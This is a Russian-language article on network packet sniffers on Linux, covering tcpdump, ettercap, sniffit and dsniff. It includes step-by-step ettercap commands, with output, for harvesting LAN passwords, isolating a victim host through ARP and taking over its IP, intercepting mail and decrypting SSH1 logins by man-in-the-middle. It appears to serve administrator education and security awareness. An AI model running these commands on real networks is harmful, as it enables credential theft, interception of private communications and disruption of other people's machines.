Андрей Матвеев
Перехватчики сетевых пакетов могут не только использоваться
администратором сети для проверки и детального анализа правильности конфигурации
сетевого программного обеспечения, но и представляют собой серьезную угрозу,
поскольку могут перехватывать и расшифровывать имена и пароли пользователей,
конфиденциальную информацию, нарушать работу отдельных компьютеров и сети в
целом. Как бороться с этим недугом программистской мысли мы попробуем
разобраться в следующих статьях из цикла "Linux обеспечивает безопасность
сети".
В настоящее время аппаратная архитектура
Ethernet завоевала большую часть рынка при создании локальных сетей, хотя
существуют и другие аппаратные решения не на IEEE 802.3, такие как FDDI, Token
Ring (802.5), ARCNET, WAN, ATM и другие. Относительная недороговизна в сочетании
с технической скоростью передачи данных в 10, 100 и 1000 мегабит в секунду
способствует ее популярности. Сеть Ethernet работает как магистраль, через
которую любой узел может пересылать пакеты на другой узел, подключенный к тому
же сегменту сети. Для перенаправления пакетов из одной сети в другую необходимо
пользоваться репитером, свитчем или хабом. Процесс передачи фреймов обеспечивает
межсетевой протокол, который не зависит от оборудования и представляет различные
сети в одну сеть. Но при использовании этого протокола нет гарантий, что пакет
достигнет адресата, но решение этой задачи обеспечивает протокол TCP/IP,
занимающийся гарантированной доставкой пакетов. TCP не единственный протокол в
стеке протоколов TCP/IP, существует еще протокол UDP, который много быстрее
протокола TCP, так как не создает и не закрывает сеанс соединения, а узел с
помощью его просто отправляет данные в дейтаграммах другим узлам в сети. Пакет,
отправленный в широковещательной сети одним из узлов, принимается всеми
находящимися в этом сегменте сети машинами, но только узел назначения, указанный
в заголовке пакета, "смотрит" на него и начинает его обработку
(относится и к TCP и к UDP протоколам).
Анализаторы пакетов относятся к классу
инструментальных программных средств для мониторинга сетевого траффика и
выявления некоторых типов сетевых проблем. По умолчанию сетевой интерфейс видит
пакеты, предназначенные только для него. Однако анализаторы устанавливают его в
режим приема всех пакетов - promiscuous mode, прослушивают сеть и заставляют
сетевой интерфейс принимать все фреймы, вне зависимости от того, кому они
адресованы в сети. Для установки "вручную" сетевого интерфейса в
неразборчивый режим необходимо включить флаг PROMISC: ifconfig eth0 promisc; для
отключения promiscuous mode: ifconfig eth0 -promisc .
Ярким примером инструментального программного
средства служит программа tcpdump, написанная Вэном Якобсоном и поставляющаяся сейчас со
многими дистрибутивами. Пример использования tcpdump: tcpdump -i eth0 -n -vv
-w /root/tcpdump.log где: -I - сетевой интерфейс; -n - делаем числовой
вывод адресов и номеров портов; -vv - очень подробный вывод; -w - запись
лога в файл. Чтобы прочитать перехваченный траффик из лога (выводим не на
консоль, а в файл): tcpdump -r /root/tcpdump.log > /root/tcpdump0.log
Фрагмент работы tcpdump: 14:06:28.250082 B
192.168.5.17.1445 > 255.255.255.255.8167: udp 21 14:07:24.126187 >
midian > 192.168.5.23: icmp: echo request 14:07:24.126667 <
192.168.5.23 > midian: icmp: echo reply
Первая строка показывает, что 192.168.5.17
пользуется программой для общения в локальной сети (делает широковещательный
запрос, используется порт 8167), вторая и третья указывают, что хост midian
проверяет машину с IP-адресом 192.168.5.23 программой ping.
Вынюхиватели пакетов несомненно полезны для
решения администратором сети известных и неизвестных проблем, но существует и
обратная сторона медали: неразборчивый режим приема пакетов позволяет
злоумышленнику получать весь траффик в сети и фильтровать его на наличие имен,
паролей пользователей, незашифрованных писем и т.д. Теперь все только
ограничивается фантазией хакера.
Ettercap Особенности этого сниффера:
- работает на Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, FreeBSD 4.x, OpenBSD
2.[789], NetBSD 1.5.x, Mac OS (darwin 1.3);
- перехват и расшифровка паролей TELNET, SSH1, FTP, POP, LOGIN, ICQ, SMB,
MySQL, HTTP, HTTPS, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC;
- возможнось вставки символов в установленное соединение - будет происходить
эмуляция команд сервера и ответов клиента (работает только в интерактивном
режиме);
- нетребовательность к библиотекам libpcap, libnet, libnids в отличии от
других снифферов;
- поддержка плагинов; возможность написания собственных плагинов;
- текстовый и псевдографический (основанный на ncurses) интерфейсы;
- различные виды прослушивания; возможность использования фильтров;
- работа в сети с активными интеллектуальными хабами.
Последнюю версию берем здесь: Устанавливаем сниффер: ./configure make make
install Устанавливаем плагины: make plug-ins make plug-ins_install
Некоторые опции сниффера: -a, -s, -m -
различные виды прослушивания; -N - запускать сниффер без псевдографики; -z
- запуск в спокойном режиме; -d - не преобразовывать IP-адреса в имена; -i
- сетевой интерфейс; -l - вывести список хостов в сети; -C - собирать все
имена и пароли пользователей; -f - определение операционной системы
удаленного хоста; -p - работа с плагинами; -L - записывать в лог, имеющий
формат: год:месяц:день-collected-pass.log
Рассмотрим некоторые виды использования этого
сниффера. Перехватываем все имена пользователей и пароли в нашем сегменте сети и
записываем в лог: ettercap -NdzsCLi eth0 После недолгого ожидания получаем
необходимое ;) 14:43:45 192.168.5.29:1755 <--> 212.48.140.154:80
www USER: leshii PASS:
softerra http://www.nm.ru/gateway_chat.shtml Определяем операционную
систему хоста, например, с IP-адресом 192.168.5.24: ettercap - Ndzsfi eth0
192.168.5.24 Смотрим установленные у нас плагины и описания к
ним: ettercap - N -p list Для активации плагина (например, пропингуем
какой-нибудь хост): ettercap - N -p ooze 192.168.5.33 Самый интересным на
мой взгляд плагином является leech. Он изолирует удаленный хост от сети. Пример
работы этого плагина: Сначала проверим, "жив" ли
хост: andrushock# ping -v -c 4 192.168.5.23 PING 192.168.5.23
(192.168.5.23): 56 data bytes 64 bytes from 192.168.5.23: icmp_seq=0 ttl=128
time=0.945 ms 64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562
ms 64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms 64 bytes
from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms
Запускаем плагин (операционная система хоста
жертвы - win98se): andrushock# ettercap -Ndp leech 192.168.5.23 Наблюдаем
за процессом работы: Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface:
ed0 Starting ./ec_leech.so plugin... Building host list for netmask
255.255.255.0, please wait... Sending 255 ARP request... Listening for
replies... Isolating host 192.168.5.23...Press return to stop Ждем пару
минут и смело нажимаем ^C, затем проверяем работу плагина: andrushock# ping
-v -c 4 192.168.5.23 PING 192.168.5.23 (192.168.5.23): 56 data
bytes ---192.168.5.23 ping statistics--- 4 packets transmitted, 0 packet
received, 100% packet loss andrushock#
Все, сетевой интерфейс на машине жертвы на
некоторое время перестает работать, хотя операционная система и запущенные
приложения функционируют в том же нормальном режиме. Но этого
"некоторого" времени хватает, например, для того, чтобы заполучить
себе IP-адрес жертвы: ifconfig eth0 down ifconfig eth0 inet
192.168.5.23 ifconfig eth0 up И набираем команду, чтобы удостовериться о
нашем "новом" IP-адресе: ifconfig eth0
Перехват незашифрованных почтовых сообщений. Вид
записи: ./ettercap -Nzds <IP-адрес почтового сервера>:<port почтового
сервера> <IP- адрес клиента> Пример перехвата исходящих
писем: ./ettercap -Nzds ANY:25 ANY > /root/sniff.smtp И смотрим через
некоторое время, что попалось в наши сети (привожу часть лога): сat
/root/sniff.smtp Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface:
eth0 Press 'h' for help... Sniffing (IP based): ANY:0 <-->
ANY:25 18:19:14 192.168.5.23:1030 --> 80.68.244.5:25 18:19:14
80.68.244.5:25 --> 192.168.5.23:1030 Далее идет процесс аутентификации,
письмо от кого, адрес реципиента, их валидность и сам текст письма. To:
andrushock@fromru.com. Subject: test. Mime-Version: 1.0. Content-Type:
text/plain; charset=us-ascii. Content-Transfer-Encoding: 7bit. . Hello
andrushock,. . Test for Softerra. . -- . Best regards,. Noname
mailto: ******@pisem.net. Далее сообщение демона о принятии письма к отправке
и завершение почтовым сервером соединения.
Для перехвата входящих в локальную сеть
электронных писем используем: ./ettercap -Nzds ANY:110 ANY >
/root/sniff.pop3 или ./ettercap -Nzds ANY:143 ANY >
/root/sniff.imap4
Пример перехвата паролей во время сессии
SSH: На одной машине 192.168.5.21 стоит ettercap (назовем злоумышленник), на
втором 192.168.5.4 sshd (назовем сервер), а на третьем 192.168.5.22 SecureCRT
(назовем клиент). ./ettercap -Ndl - выводим список всех айпишников с
МАС-адресами машин в сегменте локальной сети, запоминаем только МАС-адреса
сервера и клиента. Запускаем сниффер на прослушивание и ждем когда клиент
инициализирует сеанс Secure Shell с сервером и начнется процесс аутентификации.
В этом случае машина злоумышленника является "мостом", через который
будет проходить и расшифровываться на лету весь проходящий траффик между
клиентом и сервером. Вид записи: ./ettercap -za <IP-адрес сервера>
<IP-адрес клиента> <MAC-адрес сервера> <MAC-адрес
клиента> ./ettercap -za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47
00:A0:24:93:61:3D Привожу "текстовый скриншот"
ettercap
0.5.4 SOURCE: 192.168.5.22 ? Filter: OFF doppleganger - illithid (ARP
Based) - ettercap DEST: 192.168.5.4 ? Active Dissector: ON
??? hosts
in this LAN (192.168.5.21 : 255.255.255.0) 1) 192.168.5.22:1252 ??
192.168.5.4:22 | silent | SSH decrypt
Your IP: 192.168.5.21 MAC:
00:50:BF:4A:48:F3 Iface: ed0 Link: not tested USER: testuser PASS:
softerra
В левом нижнем углу лицезреем уже расшифрованные
имя пользователя и его пароль. Примечание: сетевой интерфейс действительно ed0,
так как программа тестировалась в операционных системах Linux и FreeBSD.
Постоянно выходят новые версии Ettercap, в
которых исправляются ошибки (например, только несколько версий назад исправили
"глюк", когда после работы сетевой интерфейс, на котором был запущен
этот сниффер падал), добавляются новые возможности и переносы на другие
операционные системы, в отличие от программ описанных ниже, работа над которыми
уже давно не ведется, хотя в настоящее время на мой взгляд эти анализаторы
протоколов являются самыми популярными.
sniffit Возможности этого сниффера:
- работает на LINUX, SunOS/Solaris, Irix, FreeBSD, BSDi, DEC/OSF, NetBSD;
- перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP,
LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC,
AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere,
NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;
- использование конфигурационных файлов для создания фильтров;
- имеет текстовый и псевдографический (основанный на ncurses) интерфейсы.
Примечание: необходимо наличие libpcap
dsniff Примечание: эту версию сниффера я не смог поставить
на Red Hat Linux 7.0, поэтому пришлось качать более новую, но beta, где как раз исправлена ошибка компоновки
для дистрибутивов Red Hat Linux 6,7.
Возможности этого сниффера:
работает на OpenBSD (i386), Redhat Linux (i386), Solaris (sparc), FreeBSD,
Debian Linux, Slackware Linux, AIX, HP-UX;
- перехват паролей FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP,
LDAP, Rlogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC,
AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere,
NAI, Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase, Microsoft SQL;
- также в этот пакет входит набор "утилит" для перехвата сообщений
AOL Instant Messenger, ICQ 2000, IRC, Yahoo Messenger chat, прослушивания ssh
траффика, флуда локальной сети случайными MAC-адресами, ограничения пропускной
способности соединения, обрыва заданного TCP-соединения и др.;
- не имеет псевдографического интерфейса.
Есть еще одна интересная особенность этого сниффера. Наткнулся я на нее
совершенно случайно... cat dsniff.8 | grep 'Dug Song' > /root/dug.song
&& man sshd | grep 'Dug Song' >> /root/dug.song && clear
&& cat /root/dug.song И вот что получилось:
Dug Song <dugsong@monkey.org> Niels
Provos, Theo de Raadt, and Dug Song.
Выводы делаем сами...
Примечание: необходимо наличие Berkeley DB -
http://www.sleepycat.com/ OpenSSL - http://www.openssl.org/ libpcap - http://www.tcpdump.org/ libnids - http://www.packetfactory.net/Projects/Libnids/ libnet - http://www.packetfactory.net/Projects/Libnet/
Литература по сетям: разное
|